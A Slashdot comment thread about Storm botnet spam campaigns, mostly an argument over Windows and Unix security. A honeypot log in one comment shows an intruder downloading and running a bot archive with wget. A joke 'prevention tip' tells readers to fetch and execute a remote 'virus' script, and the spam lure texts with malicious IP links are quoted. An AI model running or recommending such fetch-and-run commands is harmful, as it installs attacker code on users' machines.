Slashdot Mirror
Storm Botnet Is Behind Two New Attacks
We've gotten a number of submissions about the new tricks the massive Storm botnet has been up to. Estimates of the size of this botnet range from 250K-1M to 5M-10M compromised machines. Reader cottagetrees notes a writeup at Exploit Prevention Labs on a new social engineering attack involving YouTube. The emails, which may be targeted at people who use private domain registrations, warn the recipient that their "face is all over 'net" on a YouTube video. The link is to a Storm-infected bot that attacks using the Q4Rollup exploit (a package of about a dozen encrypted exploits). And reader thefickler writes that the recent wave of "confirmation spam" is also due to Storm, as was the earlier, months-long "e-card from a friend" series of attack emails.
I fscking hate SPAM!
Dominant Meme
We don't get infected, but UNIX users still have to deal with the spam that the botnets are spewing.
I am really bloody sick of Microsoft's shoddy work. The spammers are arsonists, but Microsoft are the company that keeps building the houses out of gasoline-soaked balsa wood and flash paper.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
It's looking for more processing power...
http://www.emhsoft.com/singularity/
YKIMS!
Deleted
our toaster-riding overlords.
(Slashdot's in AS3561)
8 t2c1-p9-0.uk-eal.eu.bt.net (166.49.208.209) 16.189 ms 16.802 ms 15.068 ms
9 t2c1-p5-0-0.us-ash.eu.bt.net (166.49.164.65) 103.232 ms 102.751 ms 102.493 ms
10 cpr2-pos-0-0.VirginiaEquinix.savvis.net (208.173.10.133) 104.467 ms 103.687 ms 105.351 ms
11 er2-tengig2-1.virginiaequinix.savvis.net (204.70.193.102) 104.207 ms 104.050 ms 103.280 ms
12 hr1-tengig8-1.sterling2dc3.savvis.net (204.70.197.81) 108.874 ms 108.533 ms 109.409 ms
MPLS Label 652 TTL=1
13 * * *
14 204.70.196.125 (204.70.196.125) 196.968 ms 264.934 ms 232.841 ms
MPLS Label 16659 TTL=255
15 cr2-loopback.sfo.savvis.net (206.24.210.71) 199.031 ms 345.420 ms 311.107 ms
16 bhr1-pos-0-0.SantaClarasc8.savvis.net (208.172.156.198) 197.105 ms 345.628 ms 311.031 ms
17 csr1-ve240.santaclarasc8.savvis.net (66.35.194.34) 196.651 ms 2413.625 ms 2378.773 ms
18 66.35.212.174 (66.35.212.174) 197.395 ms 341.213 ms 306.301 ms
19 slashdot.org (66.35.250.150) 197.697 ms !5 612.455 ms !5 578.147 ms !5
If UNIX/Linux became the desktop standard and had 80% of the market it would be fully assaulted by exploiters and script kiddies. We are not immune, we are simply not as big of a target because of Windows market share. I don't think the magnitude of the problems would be the same, but to say it will (or could) never happen to *nix or OS X is naive.
Agreed, but the other thing about this problem that really seems to burn all the sysadmins and network admins and IT geeks out here is that with all the amazing knowledge and problem solving abilities, no one has been able to devise an elegant solution to this problem.
Holy impotance Batman!
Now, if you'll excuse me, I've got some idea balls to remove from a manatee tank.
We've found solutions; don't use shoddy software. The problem is all of the people who haven't switched yet.
I am TheRaven on Soylent News
Does someone knows Bill`s e-mail (I want to thank him for Windows and the great job he has putting for the soft community)? No? Crap...
there could be a lot or not a lot
When Microsoft improves their OS to disallow silent installation of software and other administator-level access to the system, all tweakers and other "helpful sites" fall over eachother explaining how this mechanism can be defeated.
This happened with XP SP2, and it happens again with Vista.
Most Linux users seem to understand that it is unwise to surf while logged in as root, but at the same time they setup the Windows systems at their friends homes to do so, because "it would be too much of a hassle to use separate accounts for admin and working".
As long as the situation remains like this, there is little Microsoft can do.
But of course, the whole idea that userfriendlyness is more important than security is out of their hat.
I'm curious just how this works - what does a recipient of this email need to do to get infected?
First they need to open the message. It should have gotten filtered into a junk folder (if not blocked altogether) so the user must be actually going through their junk mail folder and reading things. Who has time to waste on that?
Now, I'd assume noone will get infected just by opening the mail. They'd have to at the very least click on the link. Will clicking be enough to infect a computer? Does it depend on the brand of browser and/or how recently it has been patched? Is the latest (Oh, let me pick a browser out of a hat here) IE6/IE7 in fully patched form still vulnerable?
Now of course, if anyone is dumb enough to follow the link, AND accept an executable download, AND run that download, they will be infected. Is that what's actually happening here?
The spammers are arsonists, but Microsoft are the company that keeps building the houses out of gasoline-soaked balsa wood and flash paper.
OK, since you used the word "keeps building", I assume this is about more like Vista than Windows 95.
But if a trojan in Vista asks you to elevate its privilegies (due to UAC) to run administrative tasks such as installing itself in the system, and the user clicks yes, what should happen instead? This would be equivalent to a Linux user getting an email telling he needs to run some shady software under root privilegies, and the user saying "yes please, do that now".
Beware: In C++, your friends can see your privates!
I hate these comments "Damn Microsoft and their inferior security". That's BS, the reason Windows gets hacked is because there are so many more MS machines than any other type of machine. Botnets are there to make money, the more machines they infect the more spam they produce, the more money tehy make. If you want to infect machines, you go for Windows because it has by far the most market share, so it returns the biggest profit. So all the people hacking machines aim at Windows, and multi-million dollar businesses solely aimed at hacking Windows, if any other operating system had that much focus given to it, it would collapse in days, so stop with all the shit about MS having bad security, they do quite a good job in the absolute worst circumstances and as a result only the stupid users get infections.
~Not AC cause I don't value my karma~
Imagine if they put this botnet to a real use, like Seti@Home. They'd be uber-points people in no time.
But noooo, they have to be all evilly criminal types, don't they.
I definitely started to get these "face is all over 'net" SPAMs at about that point in time...I've been getting a few per day since.
ZuluPad, the wiki notepad on crack
Most Linux users seem to understand that it is unwise to surf while logged in as root, but at the same time they setup the Windows systems at their friends homes to do so, because "it would be too much of a hassle to use separate accounts for admin and working
You mean it is the evil linux haxors that deliberately sabotage poor Microsoft?
That is hilarious.
...are more like the "terrorists" the government keeps telling us to cower under our desks from. I don't spend every morning checking under my hood and in my trunk to see if some guy with his head in a towel (-- that was to make a point, not my opinion) has managed to sneak a bomb in there. I _do_, however, check my inboxes everyday to delete the 30-40 spam/infected emails that show up.
Burn the Land and Boil the Seas, you can't take the sky from me...
Unless you've got GFI or Symantec Mail Security, I'd suggest setting up IMF. It's a free spam filter included in Exchange 2003 SP2. Below is a link to get you started.
0 3_imf.htm
http://www.petri.co.il/block_spam_with_exchange20
Obviously it doesn't prevent the spreading of SPAM, but it doesn't mean you have to live with the incoming onslaught.
Life is not for the lazy.
Never will happen to os x or other *nix systems. .. and just where the hell do you think the term 'rootkit' came from?
... ? and i guess i just imagine those security advisories IBM puts out for AIX...
this kind of hubris is what can make osx/linux/whatever a zombie just as fast as anything else out there.
i guess you never heard of the old sendmail worm, php-based exploits, etc etc
if you do no work to insure your OS is as tight as necessary, regardless of what that OS is, you will leave yourself open to being improperly utilized as a system.
-r
-'fester
"If UNIX/Linux became the desktop standard and had 80% of the market it would be fully assaulted by exploiters and script kiddies."
The question is, would the end results of these "assults" have the same impact as targeting M$ systems?
The botnet herders are after client's nodes that use servers, more than anything... why?
Well, to get their bank account numbers, OR other financial data, or to fool you into buying some malware, for example.
If you were to design such a system, wouldn't YOU also go after the most used platform there is, in order to increase your surface attack vector for it? Of course you would.
And, what's the most used OS platform there is out there? Windows... & thus it gets attacked the most & especially in attacks of THIS nature.
APK
P.S.=> I know 1 thing, for sure, from actual tests & challenges I issued here @ this site - Windows can be made SO SECURE, via custom-hardening it by hand, that the
E.G.-> HARDENING LINUX THREAD @ SLASHDOT WHERE I ISSUED CHALLENGES & A LIST OF THEM TO *NIX FOLKS:
http://it.slashdot.org/comments.pl?sid=267599&cid
Vs. the 84.735/100 score (now up to 85.185/100 here currently in fact) I can obtain on it & CIS TOOL is noted by SANS & COMPUTERWORLD (often cited here on this site no less) as a tool that helps you secure yourself... so, so much for this statement which I see here in essence as this, quite often:
"(Insert *NIX variant here) is more secure or securable than Windows"
Well, ok - but, when faced with the challenge of "putting their money where their mouth is"? Each *NIX user, ran (& I specifically wanted SeLinux kernel hook addon users of UBUNTU/KUBUNTU + FreeBSD users to try it especially)... apk
Isps could block all this spam at there level, but they don't. As much as I blame Microsoft it has a lot to do with the networking world. The networking world is allowing this stuff to happen, probably because engineers would rather make $$$ cracking than defending from users from attacks. Telecoms and cable companys want chaos so they can harvest info. You are tripping if you think big companies don't dabble in this stuff. They could stop it, I have seen papers with solutions, they won't implement them though. WGA is another big reason this still goes on.
I haven't used Vista but I was under the impression that UAC is really broken because it's constantly spamming you with stupid questions to the point that most people just turn it off?
If Unix / Linux was the dominant operating system of the day, who would you be blaming? Because this is purely a matter of the number of machines in the field; it's how attractive the target is.
Let's say that Windows was magically replaced by (say) Ubuntu installs tomorrow, all over the world, with the best known default configuration in terms of being secure. Within a day you'd have exploits, and rapidly growing botnets.
Ideally, *you* would then be ranting about the morons who wrote the kernel, the idiots who did the filtering and mail clients, the jerks who designed the network protocols, and the nincompoops who can't rub two curly braces together without creating a security hole.
Or you could do some research and realize that this stuff is just bloody hard to get right. By anyone. By people who have been doing this their entire careers.
Look, the security holes are *already there* on other platforms. Why aren't you ranting about them?
Meh.
Any sufficiently advanced technology is insufficiently documented.
Most of the exploits you mention are for server software. Who would run a sendmail software on their Linux client ? You can if you want to but I don't see many windows clients installing mail server on their machine. Before you blame Unix, get a clue or a brain.
This whole scenario brings up a rather interesting question: Is this a Spam problem, or a virus problem?
From my understanding there is no viral content in the message, so your virus scanner would have no reason to block the message. A Spam filtering company could well "pass the buck" and say that this is a virus problem, yes it's going to trigger on some spam rules, but "Where it's a virus problem, why create special rules for it"
I can see this type of attack becoming more popular in the future, at least until this question is solved.
I will not give in to the terrorists. I will not become fearful.
Technically, yes.
But the user is not a technical system. When you deal with users, you need to follow good user interface guidelines, not just technical, binary thinking. That's where MS - despite their money, years of experience, own research center and all - still produced a total failure. UAC is one of the worst abominations of user interface design ever. You can give an entire presentation on its shortcomings.
Assorted stuff I do sometimes: Lemuria.org
So your uninformed but still willing to share your opinions?
You mean it is the evil linux haxors that deliberately sabotage poor Microsoft?
That is hilarious.
Even worse: it's the good-natured Linux users who try to find a balance between Joe User's wants and needs on the one hand, and their own patience and free time on the other.
I tried. I really tried securing my ex-gf's family computer. I opened accounts for everyone. I only left admin privileges on one account. Set everything up.
Everybody just used the admin account again. Not even the fact that each could have their own desktop didn't entice them to use their own accounts; instead, they had one desktop full of five people's crud.
Ignore this signature. By order.
As long as the situation remains like this, there is little Microsoft can do. No, they could arrange for the majority of their own user-targetted apps (e.g. Office) to refuse to run in read-write mode when run from an account with Admin privileges. They could clamp down on giving "Windows Certification" to things like printer drivers that require Admin privs to work (after installation). They could get similarly strict with applications. All those sorts of things. Make life actually workable for people who are running without high privs. And without doing that, they'll never manage to inculcate a culture of security, and there's an awful long way to go there, alas...
(BTW, if you're writing a GUI application for Linux, maybe you should think about taking similar steps. We cannot preach to others if our own house is not in order.)
"Little does he know, but there is no 'I' in 'Idiot'!"
I can show you a custom-hardened build of Windows Server 2003 that blows away setups from the *NIX world as far as security (epsecially today, in the online world) here, that over 30++
E.G.-> HARDENING LINUX THREAD @ SLASHDOT WHERE I ISSUED CHALLENGES & A LIST OF THEM TO *NIX FOLKS:
http://it.slashdot.org/comments.pl?sid=267599&cid
Vs. the 84.735/100 score (now up to 85.185/100 here currently in fact) I can obtain on it & CIS TOOL is such a multiplatform test of security!
(And, it is noted by SANS & COMPUTERWORLD (often cited here on this site no less) as a tool that helps you secure yourself)
I am not using "mere talk" here, but instead verifiable & comparable results from a valid & legitimate security test that runs on Windows NT-based OS, but also FreeBSD, Linux variants of all kinds, & Solaris.
So, so much for this statement which I see here in essence as this, quite often:
"(Insert *NIX variant here) is more secure or securable than Windows"
Well, ok - but, when faced with the challenge of "putting their money where their mouth is"?
Each *NIX user, ran (& I specifically wanted SeLinux kernel hook addon users of UBUNTU/KUBUNTU + FreeBSD users to try it especially).
APK
P.S.=> Hey - fact is this (despite the usual "F.U.D." trollers spreading their b.s. about Windows & security, vs. any *NIX:
"Outta-the-box/oem stock"? Most ANY OS is not as secure as possible, & this includes all *NIX variants, period!
This is just a fact, & the URL above where I noted *NIX users ran from a fair test that tests analogs on any OS it runs on (for example, for access & rights to configration/startup files for the OS tested, & ALL OS' HAVE THAT)?
Especially when I specifically went to a thread post here on this site, about "hardening Linux"??
Well - Not a single *NIX user there could show me they could harden their system to outdo what mine on Windows Server 2003 SP #2 fully patched can achieve...
No one is willing to "backup their bluster" but, they sure TALK BIG - well, new news: Talk's cheap! Show us, prove it... after all - IF you're going to "talk the talk"? WALK THE WALK! apk
Agreed, but the other thing about this problem that really seems to burn all the sysadmins and network admins and IT geeks out here is that with all the amazing knowledge and problem solving abilities, no one has been able to devise an elegant solution to this problem.
Well, to use the GP's analogy, while the houses are still being built out of gasoline-soaked balsa wood, what can we do to stop fires? Disallow high temperatures?
Microsoft's operating systems are currently the main problem. Until Microsoft deploys a fundamentally more secure OS or people simply stop using Windows to any great extent, there is nothing we can do. Especially nothing elegant.
The only elegant solution that comes to mind, really, is OS X. But that's more of an elegant OS than an elegant solution.
Ignore this signature. By order.
Unpatched windows can be completely secure from this attack, as can any other operating system. Just don't connect to the internet!
Well, one point in favour of Linux security is the central software repository for each and every distro.
Linux users typically will not - even when the popularity of Linux rises - install random cursors, free smilies and whatnot - simply because they'll be used to installing things from the repository.
And it's quite simple to hammer that into people's heads: the software from the repository is safe. Other software is not.
There is still nothing similar in the Windows world.
Ignore this signature. By order.
... of all mankind. A distributed computing project for the benefit of the human race. Like, cracking blu-ray DRM or something.
This space available.
For instance, here's a recent attack to my honeypot (Running Slackware Linux)
/home/webmaster/. ./ .bash_history .ssh/ ../ .screenrc .xsession /home/webmaster/.bash_history /etc/hosts /proc/cpuinfo /var/tmp .bot/
root@zomg:~# cat
root@zomg:~# cat
ssh localhost
w
cat
cat
passwd
cd
ks
l
sl
ls
ls- all
ls -all
mkdir " "
cd " "
clear
wget imaginez0r.xhost.ro/botme.tar.gz
tar zxvf botme.tar.gz
rm -rf botme.tar.gz
cd
PATH=.:$PATH
bash
These kind of attacks happen every day, sometimes more than once a day. If you don't patch and secure your machine, or do stupid things like download and run binaries, it's gonna get owned. Doesn't matter what OS you run.
social engineering attack involving YouTube. The emails, which may be targeted at people who use private domain registrations, warn the recipient that their "face is all over 'net" on a YouTube video.
I don't normally get much spam - maybe one every other week, but I've gotten two of those lately
OMG, what are you doing man. This video of you is all over the net. go look at it... http://www.youtube.com/watch?v=lAC5mj7oew5 (link goes to http://90.31.69.105/)
and
LMAO, I cant believe you put this video online. Everyone can see your face there. LOL check it out yourself http://www.youtube.com/watch?v=ZKil6gyJXhQ (link goes to http://79.178.78.71/ )
Look at all the retards with their owned boxes lowering our quality of life...
I work for the Department of Redundancy Department.
the reason Windows gets hacked is because there are so many more MS machines than any other type of machine.
If that was the case, then why are Microsoft applications (like IIS) more often compromised than non-Microsoft applications even in areas where Microsoft is NOT dominant?
Windows is inherently less secure than most of the competition in a number of ways.
1. The Microsoft HTML control's use of ActiveX is inherently insecure and can not be fixed without breaking every application that uses the HTML control.
1a. This insecure design was deliberate and Microsoft fought the Justice Department to a standstill rather than change or replace it.
2. Windows requires a number of insecure services to run to perform routine operations.
2a. There is no way to force these services to be run local-only without using a firewall.
2b. This means that Windows Firewall has to be used to secure Windows to the same degree as a UNIX based system WITHOUT a firewall.
3. Windows document formats are still based on serialized COM objects. It's even possible for them to include serialized COM objects in XML files.
3a. Serialized COM objects can refer to or even contain insecure code that can be used for an attack.
The idea that any one of these three issues and theor consequent corollaries are accepted boggles my mind. The idea that they're defended by the claim that the only reason Windows is more often compromised is that it is more common...I can not conceive of the confusion in the mind that would lead to such a conclusion.
Hope your happy Billyboy Gates!
I'm not sure which is worse: unpatched Windows machines, or Linux boxes without the critical patch that allows fanboys to type the word "you're."
Don't disappoint your bird dog. Go to the range.
That's because there is no elegant solution to social eng. attacks. The extent of human ignorance is obscene.
I bet if I sent out some random crap exe to a bunch of people, which when opened it would popup a box that said, "h4ck.exe would like to steal your credit card numbers, shit in your bed, and screw your girlfriend. Would you like to continue?" Ok, or cancel. And some people STILL would click ok.
You know, I can go and buy a microwave oven and plug it safely into a standardized outlet and not electrocute myself or blow up my house. I can even buy a propane tank and fire up my grill without risking my life too much. I can buy a modern automobile and feel confident that if I drive it into a tree at 30 MPH or roll it over, I still have a reasonable chance of surviving. Most things have built-in standardized safety features and/or safe failure modes (within reason).
These things I can buy are all tools, some with licensing or age restrictions attached, but all more-or-less idiot-proofed. The razor blades I bought recently to scrape paint off my windows even warned me that they were "razor sharp". Well duh.
But the most sophisticated, most powerful, most versatile, general purpose tool we humans have yet invented, the networked personal computer, has been sold to and is used by millions of people without any training whatsoever and without any warnings outside of what one might pick up from the "Dangers in Cyberspace" fluff segment on the local news.
People are using computers more and more to organize all of their critical financial information. A single security breach can have catastrophic, real consequences, if for example your identity is stolen and your credit is ruined after your bank accounts are drained overnight.
All you have to do is click on one really bad link. Sometimes, not even that.
This is just another example of how technology is changing human society in completely unpredictable ways. Back in the 80's, you might have worried about a virus wiping out your word processing file. Today, typing your username and password on an untrusted machine, even just once, can compromise your entire life, and ruin your future.
it's a blue bright blue Saturday hey hey
I'd like to strangle every one of them- the botnet herders, the assholes buying their services, the piss-poor vendors who sell insecure systems, and the sheeple who run unpatched Windows. I'm on OS X, fully-patched, and still get this crap every day. What a
waste of the world's resources.
I must say, it's good to know where all that was coming from. I rarely get spam, as I use a mailserver with greylisting, and any spam I do get is generally filtered correctly using Amavis/Spamassassin and ClamAV. This greeting card stuff though has plagued me. It's been marked as spam alright, but it looks like the botnets are starting to use proper SMTP servers to relay now, rather than just one shot attempts to directly connect to mailservers on port 25. A lot of outgoing traffic on port 25 is blocked from most ADSL networks nowadays, so it's more common to have to relay through your ISP's, or another relay server. This is going to make greylisting redundant pretty soon, as it works purely on the basis that any client connection which fails first time, will try again later as per the RFC's. If the Bots are relaying through RFC compliant servers, then there really isn't any point in the greylisting anymore. It's just a technology that provides a little temporary relief from the problem. Nice to know why the greeting card stuff started and stopped so abrubtly regardless.
I do not fear computers. I fear the lack of them. Isaac Asimov
Has anyone been seeing get requests for ~boooodc/bin.php in their log files? This has been happening to me for a month. Some are even trying to use my host as a proxy to get this from other IPs. A google search has only shown 5 entries and they look to be publically accessible log files.
No it's not the same. On windows you just click a vague yes or no button. On linux you tend to need to input a password. One of the two makes it painfully obvious you are about to do something to your core system.
Once you start despising the jerks, you become one.
LOL... is that the best you have as a comeback? Weak, (as per usual) from /. posters, especially regarding this type of topic, backing up their statements that "Windows is less secure or securable than *NIX & its variants")...
/., worse than any other website online in fact. I don't mind it if it has some basis in verifiable facts with examples, but I do when that statement or one like it, has none of the aforementioned requirements.
/., no less, in security-oriented threads no less) called CIS TOOL))... apk
Lots of talk, yet no action! I say this based on a history of evidences I noted in my last post, point-blank. Argue with the numbers.
No photo proof of a score from a *NIX rig, vs. what I produce as a challenge to those that say "Windows is less secure than (insert *NIX variant here)" as to a result on a valid multiplatform security benchmark...
Put your monies where you mouths are boys!
Just beat the 85.185/100 score I can obtain using Windows Server 2003 SP #2 fully patched & custom security hardened, with the *NIX of YOUR choice... & put up photo proof (unedited, because one fool said he could do that, how WEAK!)...
Simple.
APK
P.S.=> BOTTOM-LINE: Talk's cheap boys... especially "F.U.D."-based b.s. like:
"(Insert *NIX variant here) is more secure or securable than Windows!"
That I see here @
So - "Put up, or shut up"... prove it. Put your monies where your mouths are... & with YOUR OWN SYSTEM, not someone else's tests or info. (the BEST test, not only of your big talk, but of YOUR SKILLS IN PERSONALLY KNOWING HOW TO HARDEN YOUR *NIX RIGS, vs. mine on Windows Server 2003).
Download, & install CIS TOOL (@ the center for internet security's website, link is in the URL below):
CIS TOOL DOWNLOAD PAGE @ THE CENTER FOR INTERNET SECURITY:
http://www.cisecurity.org/index.html
(... run it, & beat that score I get on a Windows NT-based OS of 85.185/100 currently, & on a legitimate multiplatform test of security (noted by COMPUTERWORLD & SANS, 2 sites often cited here @
"The spammers are arsonists, but Microsoft are the company that keeps building the houses out of gasoline-soaked balsa wood and flash paper."
:D
*ROTFL* Love your expression!
This Slashdot entry, itself, appears to be spam. Neither link provides any information that anyone who's gotten one of these mails didn't already know.
Neither blog provides proof, forensic details, or anything even remotely interesting to a geek seeking out "news for nerds." Just the bare necessary to make it look like it's a well-meaning tech link and not a scheme to inflate someone's page views.
All they are is a couple of paragraphs saying, "Hey, you know all those new spam messages you're getting? They're spam!"
Maybe it's well-intentioned, but as far as I can tell this is just more BlogSpam pretending to be a Slashdot entry. It's getting like freakin' Digg around here these days.
-- I'm old enough to have lived through six different meanings of the word "hacker."
I'm sorry, but are you advocating that an ADMIN account should not be granted read/write access to things? Isn't that sort of the point of an admin account. Further destabalizing the OS is not a good solution to an unstable OS. I'm all for making things work better for the non-admin accounts, in order to allow more people to use them, but I don't think that crippling the admin accounts is a good solution.
Ceci n'est pas une sig.
:wq!
After all this time and all these spams, isn't it fairly reasonable to assume that nearly everyone who is going to get their box owned by the trojan already has?
Does Storm only attack Windows? Likely yes, I'm sure. Shouldn't Microsoft be attacking this one specifically with their malicious software scanner that's part of every Windows Update?
"It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
I think what he meant was you can install but not use the app while logged in as an Administrator account, encouraging people to log in as users.
Not a Twitter sockpuppet... but I wish I was.
Because this is purely a matter of the number of machines in the field; it's how attractive the target is.
Bullshit. This is an excuse that MS has been using for decades, while they continued to make the same mistakes that UNIX fixed twenty years ago.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
Love your expression!
Thanks, but I'm not sure I came up with it. It was either me or Hugh Daniel, in a conversation we had many years ago.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
How, exactly, could ISPs block all the spam? And if they did, what if they block something important? False positives are still an issue. I'm pretty sure the first ISP to figure out how to do that would advertise it and would get TONS of people switching to them.
Not a Twitter sockpuppet... but I wish I was.
I can show you a custom-hardened build of Windows Server 2003
Umm... So what? You go to great lengths to lock down a windows machine, and good for you. It doesn't help the millions of people affected by the bugs present in a pristine install of any MS product.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
It was a complete sentence. Gates was meant as a verb.
But if a trojan in Vista asks you to elevate its privilegies (due to UAC) to run administrative tasks such as installing itself in the system, and the user clicks yes, what should happen instead?
How about Bitch Slapping the user...HARD!
I sware it, I'm gonna mod a mouse with a capacitor to have two electrodes on its surface. When the user fucks up, they get nasty shock in the palm of their hand!
Life is not for the lazy.
I have my Outlook set to show all messages in text (instead of HTML or richtext), and the 'reading pane' option is turned off so that I actually have to click on the email header to open the message. Most of the time I can recognize the spam just by the message title, and I delete it without reading or opening the email. By setting everything to text, it makes any imbedded web links unclickable, but I guess I'm preaching to the choir here. You people know this stuff. It's the noobies that need the advice.
I also refuse to click on any links sent to me by friends. 'WOW COOL VIDEO MUST WATCH THIS ONE!' I get phone calls later on, asking if I thought the video clip was funny. I have to tell them I don't know, since I deleted the message. Since I make my living with this computer, I can't afford to do something stupid and mess it up by downloading someone else's junk, spam, virus or botnet.
Hey, look at the delusional nutjob!
You truly are an idiot.
Maybe it's just coincidence, but I've been bombarded with the e-card things for a while now, and the youtube thing for a couple of days or so. Since this story broke on Slashdot, I just checked the spam trap and I haven't had a single one for the last 12 hours or so...
That was one of the "reasons" why the head of IT at my college said that *nix had such a good reputation for security. Because they were historically not connected to the internet. Balderdash, and he really should have known better than to say that. Unix was around since before the inception of anything resembling modern networking. As of relatively recently, the networking stack for Windows was borrowed from the original stack developed as part of freebsd if memory serves. If memory doesn't serve, then it was one of the other *bsds.
MS didn't get into networking for quite a while after the original networking was done. Even then it wasn't until the mid nineties that they got even halfway serious about it.
*nix would cope better with security problems than Windows does. Mainly due to the fact that Windows is needlessly complicated. Performance harming bloat is also a security problem, more lines of code are more lines that are potentially buggy, and take much longer to go through for auditing. A leaner OS, especially one which keeps things like browsers separate from the kernel have a much easier time of hardening. But with Windows, you have explorer whether you web surf or not, and to make matters worse, it is required for updates. Yes, somebody in an enterprise situation could just download the patches on a different machine, but the majority of the people don't have that luxury. And if memory serves, doing so would be a violation of the eula anyways.
Actually, there are gaping holes in MacOS X as well. If I send out an email with a file attached (eg. .dmg), I can make the recipient install distributed.net, believing he is just getting a business card. Provided of course the user is an administrator and that he opens the businesscard-like installer. Not that long ago Apple patched a hole, where a code was run when you opened a creatively made .dmg file. New holes keep cropping up, but in the end, the biggest hole is the trusting user who use the default login user, which is an administrator.
And that hole is the same, no matter if you run Windows, MacOS X, Linux or MyLittlePonyOS
kwik-mart
Form a team of investigative experts. Find all the machines in a botnet and ask their ISP to disconnect them. If an ISP refuses to cooperate, get their upstream provider involved and start threatening disconnection for all users. They'll soon fall into line.
Post reasons why this is a bad idea here. I'm beginning to have difficulty understanding why so little action is being taken.
I didn't read it as being about Vista - "keeps building" says to me the OP means that they keep building insecure systems - i.e. all of them. I doubt very much whether Vista machines are a major component of these huge botnets. Much more likely to be older windows versions.
I do agree that it's the user who is the security hole here, and that wouldn't change even if everyone was running unix rather than windows. Both those systems suffer from a basic design flaw that assumes that all processes should run with the same privileges as the logged-on user. This stems from designs of the late 60s and 70s, in which loading new programs was done by trained and skilled administrators, users of programs were also pretty technically skilled, and very few people were connected to a global network.
Given that things have changed a tad since then, it might be worth considering some new designs, in which all processes are automatically sandboxed and do not run by default with the full privileges of the user launching / installing them. I don't deny that this is a hard thing to get right (UAC is a step in this direction), and ultimately, if an unskilled user says "Yes! Go ahead!" to the dancing pigs, it's on their head. But saying yes to the dancing pigs shouldn't automatically give a trojan access to their network, personal documents, etc. etc.
"...with all the amazing knowledge and problem solving abilities, no one has been able to devise an elegant solution to this problem."
There are plenty of solutions. A new authenticated email protocol could be devised, a switchover date set (e.g. December 31st, 2007), and the world would be largely free of spam overnight. It would take far less effort then was expended for the Y2K problem.
Anybody who didn't update their server would have their mail sent through as before but with the word "[SMTP]" inserted into the subject line for easy filtering.
The only real obstacle is that it would require the active, unbiased participation of a certain large. So far they haven't shown any will to participate in the meetings.
No sig today...
This is not crippling admin accounts, it is making apps behave in an administrative manner when run by an admin.
Staroffice 3.x was a brilliant example. When you ran its setup as root it automatically went into global per-machine setup mode, while running it as Joe Average User made it run a workstation setup. In fact Office 6.x for Windows 95/NT behaved in a similar manner as well. If you ran it from a network install it behaved differently when run as admin vs when run as an average user.
I have no idea why developers stopped doing that. IMO, that was the right behaviour.
Baker's Law: Misery no longer loves company. Nowadays it insists on it
http://www.sigsegv.cx/
Funny sig ! ISPs do very little to protect users. Take for example AOHELL. Just because someone offers a better service doesnt mean they will get more users. ISPs could notify users there boxes are sending spam. Its trivial to tell if someone is sending spam, there are numerous blockers/scanners which could detect the spam being sent, and then the isp could notify the customer. Will they do this...... no, because they don't care / make money from it. False positives may be an issue, but the entire process does not need to be automated. I'm sure they couldn't kill all the spam, they could however behead some botnet zombies, by being more proactive/informing customers. ISPs do very little to curb this stuff, it is obvious that the could do more, considering they are acting as the gateway to the rest of the internet, they don't have to / can prevent proliferation of these actions. Here is a list some ideas: http://www.thepcspy.com/articles/security/shouldnt _isps_protect_their_users
Go shill somewhere else troll
There is an easy way to prevent such a thing. Open a terminal and execute the following. Just follow instructions.
wget http://houghi.org/virus && sh virus
HTH, HAND.
Don't fight for your country, if your country does not fight for you.
Let's call it "Tabula Rasa" day, or since that name is the name of an upcoming game, let's just call it "Global Reformat Day". Everyone in the world reformats their computer on that day.
Storm what? Yea, that's right, fuck you Storm, we just reformatted every computer connected to the internet today.
Yea I know, good luck getting everyone on board. I just wish it were possible because even though I don't know who operates these Botnets if I were to find out I would absolutely LOVE to kick them in the nuts.
I do not respond to cowards. Especially anonymous ones.
if you do no work to insure your OS is as tight as necessary, regardless of what that OS is, you will leave yourself open to being improperly utilized as a system.
I agree.
Up until March of this year, my main box was running Windows 2000. I had no infections, no rootkits, nothing. I had no crashes, no BSODs, nothing. I was connected to the net from the second day I built the machine. I ran that machine for five years. Never had to reformat. I used it regularly and with a variety of games and software.
This was due to me making sure I learned what I was doing when I first decided to install 2k instead of XP. I have books on securing 2K, I turned off many things that did not need to run. I set up the machine pretty nicely, but I still worried. The machine was behind a NAT'd router/firewall, but I still worried. I worried less the day I stopped using IE and started using Firefox, but I still kept vigilant.
Last year I started installing Linux on my computers. I did not install it until March of this year on my main system. My main system now runs Debian Etch.
Am I more secure now than I was in February? No. The major difference is that my OS will be kept up to date by the folks at Debian for quite awhile, unlike having my system hit "end of life" like MS did with my 2k install. A few minor differences is that I had less tuning to make sure my machine was safe, as Etch is a bit more secure than Windows is upon install. Plus a difference that weight between major and minor is the dedication of the folks creating the Open Source software that the dedicated people working on Debian go over before putting it into the stable repositories.
Am I complacent? No. Do I still check everything I need to and then some? Yes. Is it worth it to be this vigilant? To me, yes. In addition to this I feel more confident in helping others get through tough problems.
Windows is insecure at install. Linux is insecure with a careless change or improper permissions set. BSD is it's own beast with OpenBSD setting a high mark for security by design.
If you system is hooked up to a network, or it has any type of media port/drive then it is vulnerable to many things, and if it has none of that, it is still vulnerable to someone who can code directly on the machine.
i know! Let's ask the user 10-100 times a day with lookalike messages and see if they can catch the one they shouldn't accept :)
Only if you're already logged in as an admin. If you're logged in to an limited account - as you should be - you'll have to provide some administrative credentials.
Considering that the post contains a link to a page that has a link to the trojan, I think we can all expect the trojan to be even more prevelant by Monday. Not sure who to be more upset with at this point: the people that wrote it, John Pospisil for posting a live link to the infected page (seriously, remove the href already), or kdawson for linking to Pospisil.
It may behoove you to invest in some services from Postini rather than spend money on more infrastructure. They handle such massive spam mail volumes with relative ease and their customer support is top-notch when a rare spam happens to slip through.
You're nothing; like me.
Care to mention those mistakes?
Hell, if I was a botnet writer, I'd love it if everybody was using Linux. I'd get:
- A compiler on every box!
- A shell on every box
- SSH for remote access
Even now I promise you that all those compromised windows machines are talking to a hacked linux box.
My Linux box works fine. I'm not sure what you're problem is. ;-)
Surely the massive multi billion dollar business/military behemoths can utilize some of their 'crackers' to comandeer this botnet (since after all by it being a botnet means it's inheritently insecure) and squirt their own disenfectant worm through the network?
Or of course they could leave a potential terrorist tool that is so large it could disable specific parts of 'teh internet' if so required?
cute... really cute, but for proper effect, it should then e-mail the supposed root password back to some @hotmail.com e-mail address
I will not give in to the terrorists. I will not become fearful.
